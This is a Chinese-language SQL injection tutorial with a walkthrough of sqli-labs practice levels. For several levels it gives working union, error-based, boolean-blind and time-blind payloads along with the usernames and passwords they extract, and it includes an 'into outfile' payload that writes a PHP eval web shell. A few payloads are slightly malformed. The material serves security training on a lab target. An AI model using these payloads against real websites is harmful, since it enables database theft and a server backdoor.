网络安全知识导航
网络基础
网络通信
IP地址
OSI七层模型
客户端与服务端
协议和端口
网站构成
WEB安全
SQL注入
课前导论
-
自学部分
- 市场上主流的数据库,及常搭配后端语言;
- 关系型数据库和非关系型数据库的区别;
- 掌握MySQL的基本使用
- 能够创建用户、数据库和表;
- 熟练掌握select搭配常见函数进行查询。
-
什么是SQL注入
-
场景:通过在网站上输入信息,获取该网站数据库中的信息;
-
原理:网站程序将用户输入的信息作为参数,放到一条SQL语句中,并代入数据库执行;
-
条件:客户端向服务端提交的参数(用户输入或浏览器生成)会被代入数据库查询;
-
防御:对客户端提交的参数进行过滤,检测是否有常见的SQL代码。
# 网站程序 num = input("请输入账号的编号:") select username,password from users where id=num; # 用户输入 如果 num = 1 union select user(),database() select username,password from users where id=1 union select user(), database();
-
注入流程
- 确定数据的传输方式,确定参数:GET方式可直接在URL中注入,POST方式需要抓包;
- 确定包裹符号:根据SQL语法,数字可以不加引号,字符串则必须加引号包裹,这里的引号可以是单引号、双引号、单/双引号与圆括号的结合等;
- 判断字段数:判断网站程序一共查询了几列数据,为联合查询注入做铺垫;
- 判断显示位:判断网站程序是否直接将数据库的执行结果显示出来,为联合查询注入做铺垫;
- 选择注入方式
注入方式
联合注入
-
场景/条件:网站程序可以直接返回数据库的执行结果;
-
原理:通过union关键字构造select语句,是网站原有的SQL语句和客户端提交的参数拼接之后,使之成为一条联合查询语句
-
演示
- URL: http://www.sqli-labs.com/Less-1/index.php?id=1 - 包裹参数的符号:' - 请求方式:GET,参数:id - 网站代码 20行:$id=$_GET['id']; 29行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; - 注入 ?id=-1' union select 1,database(),version() --+ database():security version():8.0.12
报错注入
-
场景:网站程序不会返回数据库的执行结果,但可以返回数据库的报错信息;
-
原理:将select语句配合特殊字符写入到某些函数中,使函数报错,并将错误信息(包含select语句的执行结果)反馈出来;
-
演示
- URL:http://www.sqli-labs.com/Less-5/index.php?id=5 - 包裹参数的符号:' - 请求方式:GET, 参数:id - 网站代码 - 20行:$id=$_GET['id']; - 29行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; - 36行:echo 'You are in...........'; - 44行:print_r(mysqli_error($con1)); - 注入 #extractvalue("anyting", concat("¥", (payload))):能查询的字符串最大长度为32,可以配合substring()函数使用 ?id=5' and extractvalue("BrankYeen", concat("$", (select user()))) --+ #updatexml("anyting", concat("@", (payload)), "anyting"):能查询的字符串最大长度为32,可以配合substring()函数使用 ?id=5' and updatexml(1, concat("~", (select version())), 1) --+ -
常用的报错注入函数(跟数据库版本有很大关系,自行区分)
- updatexml():and updatexml("anything", concat(0x7e, (payload)), "anything")
- extractvalue():and extractvalue("anything", concat(0x7e, (payload)))
- floor():and select "anything" from (select count(*), concat((payload), floor(rand(0)*2) a from information_schema.tables group by a) x)
- exp():and exp(~(payload) a)
- join():and (select * from (select * from information_schema.mysql a join information_schema.tables b)) c
- 等等
文件读写
-
场景:网站程序不能直接返回数据库的执行结果,或者需要获取webshell打开网站的后门;
-
原理:利用数据库的文件读取函数读取网站的敏感文件,或者文件写入函数直接向网站写入一句话木马,获取webshell;
-
条件:该网站的数据库拥有文件读取和写入的权限;直到网站大体的目录结构;一般情况下需要知道一些数据库结构;
-
演示:利用 into outfile 上传一句话木马
- URL:http://www.sqli.com/Less-7/index.php?id=7 - 包裹符号:')) - 请求方式:GET 参数:id - 网站目录结构:D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7 - 注入 ?id=7')) union select 1,2,"<?php @eval($_POST["连接密码"]);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7" --+ webshell连接工具:输入地址和密码,直接连接 权限维持:种不死马等
盲注
- 场景:没有显示位(不能联合注入)、没有报错信息(不能报错注入)、无论结果如何,都只显示固定页面;
- 条件:虽然不能显示任何信息,但是可以执行某些函数/功能;过程较多,一般编写脚本或利用工具进行盲注;
- 分类:布尔盲注、时间盲注;
- 布尔盲注:判断正确,返回正常页面,判断错误,返回错误页面;
- 时间盲注:判断正确,返回正常页面,但网站延时;判断错误,返回正常页面,网站不延时。
- 用到的函数
- length(str):返回str的长度;
- left(str, len):截取str的前len个字符;
- sub(str, start, end):截取str的start到end部分;
- mid(str, n1, n2):截取str中n1后的第n2个字符;
- ascii(char):将字符转换为ASCII码;
- char(ascii):将ASCII码转换为字符;
- sleep(n):沉睡n秒;
- if(条件表达式, 值1, 值2):如果条件表达式为true,返回值1,如果为false,返回值2;
sqli-labs
- 说明:sqli-labs是一款练习SQL注入的线下靶场,用PHP语言编写,使用MySQL数据库,共有65关,包含了SQL注入的绝大多数方式和场景;
- 搭建:网上搜教程自行搭建(注意sqli-labs使用的PHP版本应和服务器的版本一致),一般通过PhpStudy部署环境。
Less-1:联合查询
# 根据提示,该关卡为GET方式请求,且参数为id # 网站关键源码 - 20行:$id=$_GET['id']; - 29行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; # URL:http://www.sqli.com/Less-1/index.php?id=1 # 开始注入 - 判断参数类型 1. ?id=1qlkjkdj 页面正常,有符号 2. ?id=1' 页面报错,含单引号 3. ?id=1' --+ 页面正常,确定为单引号 - 判断注入方式 1. 判断字段数 ?id=1' order by 3 --+ 页面正常 ?id=1' order by 4 --+ 页面报错,确定字段数为3 2. 尝试联合注入 ?id=-1' union select 1,2,3 --+ 页面显示2、3,可以使用联合注入 3. 获取当前DBMS的用户名和版本 ?id=-1' union select 1,user(),version() --+ 用户名:admin 版本:8.0.12 MySQL5.0.0版本以上,可通过information_schema数据库查询其他数据库的信息 4. 获取当前DB的名称 ?id=-1' union select 1,2,database() --+ 数据库:security 5. 获取数据库中所有表的名称 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 所有的表:emails,referers,uagents,users 6. 获取每张表里的字段名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+ email中的字段:id,email_id ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+ referers中的字段:id,referer,ip_address ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+ uagents中的字段:id,uagent,ip_address,username ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ users中的字段:id,username,password 7. 获取users表中的所有数据 ?id=-1' union select 1,2,group_concat(id) from users --+ id:1,2,3,4,5,6,7,8,9,10,11,12,14 ?id=-1' union select 1,2,group_concat(username) from users --+ username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 ?id=-1' union select 1,2,group_concat(password) from users --+ password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-2:联合查询
# 根据提示,该关卡为GET方式请求,且参数为id # 网站关键源码 - 24行:$id=$_GET['id']; - 32行:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; # URL:http://www.sqli.com/Less-2/index.php?id=2 # 开始注入 - 判断参数类型 1. ?id=2abcd 页面错误,可能为数字型 2. ?id=2 and 2=2 页面正常,存在漏洞,且参数为数字型 - 判断注入方式 1. 判断字段数 ?id=2 order by 3 --+ 页面正常 ?id=2 order by 4 --+ 页面报错,确定字段数为3 2. 尝试联合注入 ?id=-2 union select 1,2,3 --+ 页面显示1、2,可以使用联合注入 3. 获取当前DBMS的用户名和版本 ?id=-2 union select 1,user(),version() --+ 用户名:admin 版本:8.0.12 MySQL5.0.0版本以上,可通过information_schema数据库查询其他数据库的信息 4. 获取当前DB的名称 ?id=-2 union select 1,2,database() --+ 数据库:security 5. 获取数据库中所有表的名称 ?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 所有的表:emails,referers,uagents,users 6. 获取每张表里的字段名 ?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+ email中的字段:id,email_id ?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+ referers中的字段:id,referer,ip_address ?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+ uagents中的字段:id,uagent,ip_address,username ?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ users中的字段:id,username,password 7. 获取users表中的所有数据 ?id=-2 union select 1,2,group_concat(id) from users --+ id:1,2,3,4,5,6,7,8,9,10,11,12,14 ?id=-2 union select 1,2,group_concat(username) from users --+ username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 ?id=-2 union select 1,2,group_concat(password) from users --+ password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-3:联合查询
# 根据提示,该关卡为GET方式请求,且参数为id # 网站关键源码 - 22行:$id=$_GET['id']; - 31行:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; # URL:http://www.sqli.com/Less-3/index.php?id=3 # 开始注入 - 判断参数类型 1. ?id=3abcdef 页面正常,参数应为字符型 2. ?id=3' 页面错误,符号可能为单引号 3. ?id=3' --+ 页面错误,符号不是单引号,但含有单引号 4. ?id=3') --+ 页面正常,符号应为('') 5. ?id=3abcdef') --+ 页面正常,确定符号为('')的字符型参数 - 判断注入方式 1. 判断字段数 ?id=3') order by 3 --+ 页面正常 ?id=3') order by 4 --+ 页面报错,确定字段数为3 2. 尝试联合注入 ?id=-3') union select 1,2,3 --+ 页面显示2、3,可以使用联合注入 3. 获取当前DBMS的用户名和版本 ?id=-3') union select 1,user(),version() --+ 用户名:admin 版本:8.0.12 MySQL5.0.0版本以上,可通过information_schema数据库查询其他数据库的信息 4. 获取当前DB的名称 ?id=-3') union select 1,2,database() --+ 数据库:security 5. 获取数据库中所有表的名称 ?id=-3') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 所有的表:emails,referers,uagents,users 6. 获取每张表里的字段名 ?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+ email中的字段:id,email_id ?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+ referers中的字段:id,referer,ip_address ?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+ uagents中的字段:id,uagent,ip_address,username ?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ users中的字段:id,username,password 7. 获取users表中的所有数据 ?id=-3') union select 1,2,group_concat(id) from users --+ id:1,2,3,4,5,6,7,8,9,10,11,12,14 ?id=-3') union select 1,2,group_concat(username) from users --+ username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 ?id=-3') union select 1,2,group_concat(password) from users --+ password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-4:联合查询
# 根据提示,该关卡为GET方式请求,且参数为id # 网站关键源码 - 20行:$id=$_GET['id']; - 28行:$id = '"' . $id . '"'; - 29行:$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; # URL:http://www.sqli.com/Less-4/index.php?id=4 # 开始注入 - 判断参数类型 1. ?id=4abcd 页面正常,参数为字符型 2. ?id=4' 页面正常,符号中不含有单引号 3. ?id=4" 页面错误,符号中含有双引号 4. ?id=4" --+ 页面错误,符号不为双引号 5. ?id=4") --+ 页面正常,符号应为("") 6. ?id=4abcdef") --+ 页面正常,确定符号为("") - 判断注入方式 1. 判断字段数 ?id=4") order by 3 --+ 页面正常 ?id=4") order by 4 --+ 页面报错,确定字段数为3 2. 尝试联合注入 ?id=-4") union select 1,2,3 --+ 页面显示2、3,可以使用联合注入 3. 获取当前DBMS的用户名和版本 ?id=-4") union select 1,user(),version() --+ 用户名:admin 版本:8.0.12 MySQL5.0.0版本以上,可通过information_schema数据库查询其他数据库的信息 4. 获取当前DB的名称 ?id=-4") union select 1,2,database() --+ 数据库:security 5. 获取数据库中所有表的名称 ?id=-4") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 所有的表:emails,referers,uagents,users 6. 获取每张表里的字段名 ?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+ email中的字段:id,email_id ?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+ referers中的字段:id,referer,ip_address ?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+ uagents中的字段:id,uagent,ip_address,username ?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ users中的字段:id,username,password 7. 获取users表中的所有数据 ?id=-4") union select 1,2,group_concat(id) from users --+ id:1,2,3,4,5,6,7,8,9,10,11,12,14 ?id=-4") union select 1,2,group_concat(username) from users --+ username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 ?id=-4") union select 1,2,group_concat(password) from users --+ password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-5:报错注入
# 根据提示,该关卡为GET方式请求,且参数为id # 网站关键源码 - 20行:$id=$_GET['id']; - 29行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; - 36行:echo 'You are in...........'; - 44行:print_r(mysqli_error($con1)); # URL:http://www.sqli.com/Less-5/index.php?id=5 # 开始注入 - 判断参数类型 1. ?id=5abcd 页面正常,参数为字符型 2. ?id=5' 页面错误,符号中含有单引号 3. ?id=5' --+ 页面正常,确定符号为单引号 - 判断注入方式 1. 判断字段数 ?id=5' order by 3 --+ 页面正常 ?id=5' order by 4 --+ 页面报错,确定字段数为3 2. 尝试联合注入 ?id=-5' union select 1,2,3 --+ 页面没有返回数据库的执行结果,无法进行联合注入 3. 尝试报错注入 ?id=5' and extractvalue(null,concat(0x7e,(select user()),0x7e)) --+ 用户名:admin 4. 获取DBMS的版本 ?id=5' and extractvalue(null,concat(0x7e,(select version()),0x7e)) --+ 版本:8.0.12 5. 获取当前DB的名称 ?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) --+ 数据库:security 6. 获取数据库中所有表的名称 ?id=5' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) --+ 所有的表:emails,referers,uagents,users 6. 获取每张表里的字段名 ?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="email"),0x7e)) --+ email中的字段:id,email_id ?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="referers"),0x7e)) --+ referers中的字段:id,referer,ip_address ?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="uagents"),0x7e)) --+ uagents中的字段:id,uagent,ip_address,username ?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e)) --+ users中的字段:id,username,password 7. 获取users表中的所有数据 ?id=5' and extractvalue(null,concat(0x7e,(select concat(id) from users limit 0,1),0x7e)) --+ id:1,2,3,4,5,6,7,8,9,10,11,12,14 ?id=5' and extractvalue(null,concat(0x7e,(select concat(username) from users limit 0,1),0x7e)) --+ username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 ?id=5' and extractvalue(null,concat(0x7e,(select concat(password) from users limit 0,1),0x7e)) --+ password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-6:报错注入
# 根据提示,该关卡为GET方式请求,且参数为id # 网站关键源码 - 20行:$id=$_GET['id']; - 28行:$id = '"'.$id.'"'; - 29行:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; - 36行:echo 'You are in...........'; - 44行:print_r(mysqli_error($con1)); # URL:http://www.sqli.com/Less-6/index.php?id=6 # 开始注入 - 判断参数类型 1. ?id=6abcd 页面正常,参数为字符型 2. ?id=6" 页面错误,符号中含有双引号 3. ?id=6" --+ 页面正常,确定符号为双引号 - 判断注入方式 1. 判断字段数 ?id=6" order by 3 --+ 页面正常 ?id=6" order by 4 --+ 页面报错,确定字段数为3 2. 尝试联合注入 ?id=-6" union select 1,2,3 --+ 页面没有返回数据库的执行结果,无法进行联合注入 3. 尝试报错注入 ?id=6" and extractvalue(null,concat(0x7e,(select user()),0x7e)) --+ 用户名:admin 4. 获取DBMS的版本 ?id=6" and extractvalue(null,concat(0x7e,(select version()),0x7e)) --+ 版本:8.0.12 5. 获取当前DB的名称 ?id=6" and extractvalue(null,concat(0x7e,(select database()),0x7e)) --+ 数据库:security 6. 获取数据库中所有表的名称 ?id=6" and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) --+ 所有的表:emails,referers,uagents,users 6. 获取每张表里的字段名 ?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="email"),0x7e)) --+ email中的字段:id,email_id ?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="referers"),0x7e)) --+ referers中的字段:id,referer,ip_address ?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="uagents"),0x7e)) --+ uagents中的字段:id,uagent,ip_address,username ?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e)) --+ users中的字段:id,username,password 7. 获取users表中的所有数据 ?id=6" and extractvalue(null,concat(0x7e,(select concat(id) from users limit 0,1),0x7e)) --+ id:1,2,3,4,5,6,7,8,9,10,11,12,14 ?id=6" and extractvalue(null,concat(0x7e,(select concat(username) from users limit 0,1),0x7e)) --+ username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 ?id=6" and extractvalue(null,concat(0x7e,(select concat(password) from users limit 0,1),0x7e)) --+ password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-7:文件读写
# 根据提示,该关卡为GET方式请求,且参数为id # 网站关键源码 - 22行:$id=$_GET['id']; - 31行:$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; - 38行:echo 'You are in.... Use outfile......'; - 45行:echo 'You have an error in your SQL syntax'; # URL:http://www.sqli.com/Less-7/index.php?id=7 # 开始注入 - 判断参数类型 1. ?id=7abcd 页面正常,参数为字符型 2. ?id=7' 页面错误,符号中含有单引号 3. ?id=7' --+ 页面错误,符号不是单引号 4. ?id=7') --+ 页面错误,符号不是('') 5. ?id=7')) --+ 页面正常,符号是(('')) - 判断注入方式 1. 判断字段数 ?id=7')) order by 3 --+ 页面正常 ?id=7')) order by 4 --+ 页面报错,确定字段数为3 2. 尝试联合注入 ?id=7')) union select 1,2,3 --+ 页面没有返回数据库的执行结果,无法进行联合注入 3. 尝试盲注 网站目录结构:D:\\phpstudy_pro\\sqli-labs\\Less-7 数据库:security 表:uagents、users、emails、referers 4. 木马写入 ?id=7')) union select 1,2,"<?php @eval($_POST['123.com']);?>" into outfile "D:\\phpstudy_pro\\sqli-labs\\Less-7\\alpha.php" from users; 5. webshell工具连接 6. 权限提升 7. 权限维持
Less-8:布尔盲注
# 根据提示,该关卡为GET方式请求,且参数为id # 网站关键源码 - 20行:$id=$_GET['id']; - 29行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; - 36行:echo 'You are in...........'; # URL:http://www.sqli.com/Less-8/index.php?id=8 # 开始注入 - 判断参数类型 1. ?id=8abcd 页面正常,参数为字符型 2. ?id=7' 页面错误,符号中含有单引号 3. ?id=7' --+ 页面正常,确定符号是单引号 - 判断注入方式 1. 判断字段数 ?id=7')) order by 3 --+ 页面正常 ?id=7')) order by 4 --+ 页面报错,确定字段数为3 2. 尝试联合注入 ?id=7')) union select 1,2,3 --+ 页面没有返回数据库的执行结果,无法进行联合注入 3. 盲注获取数据库名 #判断数据库名字的长度 ?id=8' and length((database()))=8 --+ 页面正常,长度小于等于8 ?id=8' and length((database()))=9 --+ 页面错误,长度确定为8 #判断数据库名称的每一位 ?id=8' and substr(database(),1,1)='s' --+ 第一位:s ...... ...... ?id=8' and substr(database(),8,1)='y' --+ 第九位:y 4. 盲注获取表名 #判断所有表名称的长度 ?id=8' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))=29 --+ 页面正常,长度小于等于29 ?id=8' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))=30 --+ 页面错误,长度确定为29 #判断表名的每一位 ?id=8' and substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),1,1)='e' --+ 第一位:e ...... ...... ?id=8' and substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),29,1)='s' --+ 第29位:s 5. 盲注获取字段名 #判断某张表里的所有字段长度 ?id=8' and length((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))=20 --+ 页面正常,长度小于等于20 ?id=8' and length((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))=21 --+ 页面错误,长度确定为20 #判断字段中的每一位 ?id=8' and substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),1,1)='i' --+ 第一位:i ...... ...... ?id=8' and substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),20,1)='d' --+ 第20位:d
Less-9:时间盲注
# 根据提示,该关卡为GET方式请求,且参数为id # 网站关键源码 - 21行:$id=$_GET['id']; - 30行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; - 37行:echo 'You are in...........'; - 45行:echo 'You are in...........'; # URL:http://www.sqli.com/Less-9/index.php?id=9 # 开始注入 - 判断参数类型 1. ?id=9abcd 页面正常,参数为字符型 2. ?id=9' 页面正常,符号中可能不包含单引号 3. ?id=9" 页面正常,符号中可能不包含双引号(结合代码可知,无论数据库返回任何结果,都显示同一页面,可考虑时间盲注) 4. ?id=9 and sleep(5) 页面没有延时5秒 5. ?id=9' and sleep(5) --+ 页面延时5秒,可以执行SQL语句,可能存在时间盲注,符号为单引号 - 时间盲注 1. 获取数据库名 #判断数据名称长度 ?id=9' and sleep(if(length(database())=8,5,0)) --+ #获取具体的数据库名 ?id=9' and sleep(if((substr(database(),1,1)='s'),5,0)) --+ 2. 获取数据库中所有的表 #判断表名的长度 ?id=9' and sleep(if(length(select group_concat(table_name) from information_schema.tables where table_schema="security")=29,5,0)) --+ #获取具体的表名 ?id=9' and sleep(if((select group_concat(table_name) from information_schema.tables where table_schema="security")='e', 5, 0)) --+ 3. 获取表中的字段 #判断字段的长度 ?id=9' and sleep(if(length(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")=20,5,0)) --+ #获取具体的字段名 ?id=9' and sleep(if((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")='i', 5, 0)) --+
Less-10:时间盲注
# 根据提示,该关卡为GET方式请求,且参数为id # 网站关键源码 - 21行:$id=$_GET['id']; - 30行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; - 37行:echo 'You are in...........'; - 45行:echo 'You are in...........'; # URL:http://www.sqli.com/Less-10/index.php?id=10 # 开始注入 - 判断参数类型 1. ?id=10abcd 页面正常,参数为字符型 2. ?id=10' 页面正常,符号中可能不包含单引号 3. ?id=10" 页面正常,符号中可能不包含双引号(结合代码可知,无论数据库返回任何结果,都显示同一页面,可考虑时间盲注) 4. ?id=10 and sleep(5) 页面没有延时5秒 5. ?id=10" and sleep(5) --+ 页面延时5秒,可以执行SQL语句,可能存在时间盲注,符号为双引号 - 时间盲注 1. 获取数据库名 #判断数据名称长度 ?id=10" and sleep(if(length(database())=8,5,0)) --+ #获取具体的数据库名 ?id=10" and sleep(if((substr(database(),1,1)='s'),5,0)) --+ 2. 获取数据库中所有的表 #判断表名的长度 ?id=10" and sleep(if(length(select group_concat(table_name) from information_schema.tables where table_schema="security")=29,5,0)) --+ #获取具体的表名 ?id=10" and sleep(if((select group_concat(table_name) from information_schema.tables where table_schema="security")='e', 5, 0)) --+ 3. 获取表中的字段 #判断字段的长度 ?id=10" and sleep(if(length(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")=20,5,0)) --+ #获取具体的字段名 ?id=10" and sleep(if((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")='i', 5, 0)) --+
Less-11:联合查询
# 根据提示,该关卡为POST方式请求,通过BurpSuite抓包发现,参数有三个:uname,passwd,submit # 网站关键源码 - 46行:$uname=$_POST['uname']; - 47行:$passwd=$_POST['passwd']; - 57行:@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; - 70行:echo 'Your Login name:'. $row['username']; - 72行:echo 'Your Password:' .$row['password']; # URL:http://www.sqli.com/Less-11/index.php # 开始注入(通过代码分析,uname和passwd两个位置都能返回数据库的执行结果,都存在注入,这里以uname位置为例) - 判断参数类型 1. uname=admin' 页面错误,符号可能是单引号 2. uname=admin' # 页面正常,符号确定是单引号 - 判断注入方式 1. 判断字段数 uname=admin' order by 2 # 页面正常 uname=admin' order by 3 # 页面报错,确定字段数为2 2. 尝试联合注入 uname=-admin' union select 1,2 # 页面显示1、2,可以使用联合注入 3. 获取当前DBMS的用户名和版本 uname=-admin' union select user(),version() # 用户名:admin 版本:8.0.12 MySQL5.0.0版本以上,可通过information_schema数据库查询其他数据库的信息 4. 获取当前DB的名称 uname=-admin' union select 1,database() # 数据库:security 5. 获取数据库中所有表的名称 uname=-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 所有的表:emails,referers,uagents,users 6. 获取每张表里的字段名 uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' # email中的字段:id,email_id uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' # referers中的字段:id,referer,ip_address uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' # uagents中的字段:id,uagent,ip_address,username uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' # users中的字段:id,username,password 7. 获取users表中的所有数据 uname=-admin' union select 1,group_concat(id) from users # id:1,2,3,4,5,6,7,8,9,10,11,12,14 uname=-admin' union select 1,group_concat(username) from users # username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 uname=-admin' union select 1,group_concat(password) from users # password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-17:报错注入
# 根据提示,该关卡为POST方式请求,通过BurpSuite抓包发现,参数有三个:uname,passwd,submit # 网站关键源码 - 71行:$uname=check_input($con1, $_POST['uname']); 获取表单中的uname参数,并对其过滤 - 73行:$passwd=$_POST['passwd']; 直接获取表单中的passwd参数 - 87行:$row = mysqli_fetch_array($result, MYSQLI_BOTH); 判断uname是否存在与数据库中 - 88行:$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; 如果存在,将新密码存入数据库 - 104行:print_r(mysqli_error($con1)); 如果不存在,输出错误的结果 # URL:http://www.sqli.com/Less-17/index.php # 开始注入(通过代码分析,uname参数不存在注入漏洞) - 判断参数类型 1. passwd=admin' 页面错误,符号可能是单引号 2. passwd=admin' # 页面正常,符号确定是单引号 - 判断注入方式 1. 判断字段数 passwd=admin' order by 1 # 页面错误,数据库没有进行查询 2. 报错注入获取当前DBMS的用户名和版本 passwd=admin' and extractvalue(null,concat(0x7e,(select user()),0x7e)) # passwd=-admin' and extractvalue(null,concat(0x7e,(select version()),0x7e)) # 用户名:admin 版本:8.0.12 MySQL5.0.0版本以上,可通过information_schema数据库查询其他数据库的信息 3. 报错注入获取当前DB的名称 passwd=admin' and extractvalue(null,concat(0x7e,(select database()),0x7e)) # 数据库:security 4. 报错注入获取数据库中所有表的名称 passwd=admin' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) # 所有的表:emails,referers,uagents,users 5. 报错注入获取每张表里的字段名 passwd=admin' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="email"),0x7e)) # email中的字段:id,email_id passwd=admin' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="referers"),0x7e)) # referers中的字段:id,referer,ip_address passwd=admin' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="uagents"),0x7e)) # uagents中的字段:id,uagent,ip_address,username passwd=admin' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e)) # users中的字段:id,username,password 6. 报错注入获取users表中的所有数据 passwd=admin' and extractvalue(null,concat(0x7e,(select concat(id) from users limit 0,1),0x7e)) # id:1,2,3,4,5,6,7,8,9,10,11,12,14 passwd=admin' and extractvalue(null,concat(0x7e,(select concat(username) from users limit 0,1),0x7e)) # username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 passwd=admin' and extractvalue(null,concat(0x7e,(select concat(password) from users limit 0,1),0x7e)) # password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
